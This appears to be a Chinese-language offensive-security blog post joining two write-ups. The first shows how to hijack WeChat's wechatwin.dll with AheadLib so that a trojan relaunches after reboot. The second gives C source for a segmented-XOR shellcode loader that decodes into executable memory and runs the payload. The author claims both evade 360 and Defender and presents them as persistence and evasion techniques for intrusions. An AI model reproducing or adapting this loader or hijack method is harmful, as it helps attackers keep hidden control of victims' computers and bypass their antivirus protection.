2021年1月

以wechatwin.dll为例子
使用aheadlib.exe即可快速生成dll源码 方便劫持

1.jpg

劫持微信dll使木马bypass360重启上线维持权限
软件的本质是通过读取导出的函数名和内联汇编代码来 “转发” DLL.
下载地址:https://bbs.pediy.com/thread-224408.htm
如果在加载 DLL 时出错就说明位数有问题, 需要运行 x64 的 AHeadLib.
当前者为 “直接转发函数” 时, 则直接转发整个 DLL, 代码中仅有 DllMain. 如果选择 “即时调用函数”, 就会细分至 DLL 的每一个函数, 在调用不同函数时依次进行转发. 例如在接受文档时触发 Payload, 或是在程序崩溃时触发 Payload, 高度自定义, 没有需要的话默认即可.
“原始 DLL 名” 指的是被劫持 DLL 修改后的名称. 工具只是帮你把指定函数转发到对应的 DLL 上, 并不是直接反编译出内容, 所以需要通过恶意 DLL 来调用被劫持 DLL 的相关函数, 如果勾选 “系统路径” 则说明被劫持的 DLL 为系统 DLL.

2.jpg

生成后在 Visual Studio 新建动态链接库项目, 然后在 dllmain 中粘贴代码.
在入口函数中加入启动进程的代码.

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

选择对应位数编译 (如果是 64 位的 DLL 需要在项目中添加之前生成的.obj 文件).
复制 DLL, 并修改被劫持 DLL 的名称为之前指定的 “原始 DLL 名”.

3.jpg

这里我想用这个加启动项看看能不能过360 结果算了,,360NB
启动微信 弹出CMD

4.jpg

以传统远控为例
木马将自身复制到F盘
然后在劫持的DLL的入口函数加入启动代码

5.jpg

6.jpg

启动微信 叮~新的主机上线
如果微信在启动项里面的话 那么就能达到傀儡机重启木马也能上线的目的

7.jpg

劫持微信dll使木马bypass360重启上线维持权限已经实际测试过了 360不会拦截 只要木马静态免杀就可以了.
在实际渗透过程中 也算是一种维权的思路吧.

首先说个题外话。。。

测试的时候发现,360放在虚拟机里哪怕给他连上了网。。。简单用异或加密下的 shellcode 能正常上线,最主要的是。。跑mimikatz 360居然动都不动
但是一旦放到物理机上,刚下下来 马子 就马上被杀。

这就有点奇葩。。。猜360检测了虚拟机环境。。。

回到正题

现在的杀软对于普通的一次异或加密shellcode 都基本能静态秒杀。于是乎产生了一些想法:

shellcode 在 loader 里是经过异或加密的。难道说杀软遍历 1 - 255 去依次异或解密吗?有点不现实

那既然直接爆破破解 异或值 不太现实,那杀软凭什么能静态秒杀呢?沙盒吗?

结果测试的时候发现,单单在 loader 中放一个 一次异或加密的shellcode 也会被杀。

那就很明显了,一次异或加密的 shellcode 也许还有一些特征值,有规律,被杀软检测到了

那我们将 shellcode 分段加密,把规律打破,是不是自然就能过杀软了呢?

下面上代码:

首先需要在本地把 shellcode 加密下。。自动加密的脚本。。之后有空再写吧哈哈

 //未加密 shellcode 版。自己调试然后拿加密后的 shellcode 以及 xorData
 #include <Windows.h>

 int main() {
 /* length: 926 bytes */
 unsigned char source_shellcode[] = "SHELLCODE";
 unsigned char encode_shellcode[926] = { 0 };

 //XOR分段数,固定长度 926 / 2 = 463
 int xorNum = 463;
 //保存每次分段 XOR 的值
 int xorData[463] = { 0 };
 int source_shellcode_length = sizeof(source_shellcode);
 char decode;
 int k = 0;

 //分段XOR
 srand((unsigned int)time(NULL));
 for (int i = 0; i < xorNum; i++)
 {
 // 不能太大,也不能是 0
 xorData[i] = rand() % 200 + 10;
 //每2个一分组
 for (int j = 0; j < 2; j++) {
 encode_shellcode[k] = source_shellcode[k] ^ xorData[i];
 k++;
 }
 }
 getchar();
 return 0;
 } 

记得改下shellcode长度

1.png

打个断点,用调试器拿加密过的 shellcode 和 xordata:记得勾下 十六进制显示,将之复制出来

2.png

复制出来后到 sublime 中进行修改(sublime真好用)

3.png

别忘了还有个 xordata,如法炮制即可。

获取到 加密的 shellcode 和 xordata之后,将其放入到下面代码 中

ps:这些变量这么命名,可能有些杀软会检测下符号表,实战的时候最好改下变量名

#include <Windows.h>

int main() {

/* length: 926 bytes */

//没做那么智能化,加密的shellcode 和 XORdata 就在上一个代码中自己用调试器调然后拷贝出来把

unsigned char encode_shellcode[926] = "SHELLCODE";

//XOR分段数,固定长度 926 / 2 = 463

int xorNum = 463;

//保存每次分段 XOR 的值

int xorData[463] = { 0xXX,0xXX,0xXX…… };

char decode;

int k = 0;

char* Memory;

//故意开内存只开1,实际上后面偏移的时候还是能插进去的,可能能过下杀软

Memory = VirtualAlloc(NULL, 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

for (int i = 0; i < 926; i++) {

Memory[i] = encode_shellcode[i];

}

//XOR分段解码。直接在内存中异或,防止 shellcode 泄露。也许能过下杀软吧

//每两个一分组

for (int i = 0; i < xorNum; i++)

{

for (int j = 0; j < 2; j++) {

decode = encode_shellcode[k] ^ xorData[i];

Memory[k] = decode;

k++;

}

}

((void(*)())Memory)();

return 0;
}

可正常上线

6.png

8.png

虚拟机360跑起来:

10.png

11.png

最后:

实测物理机过了360、defender。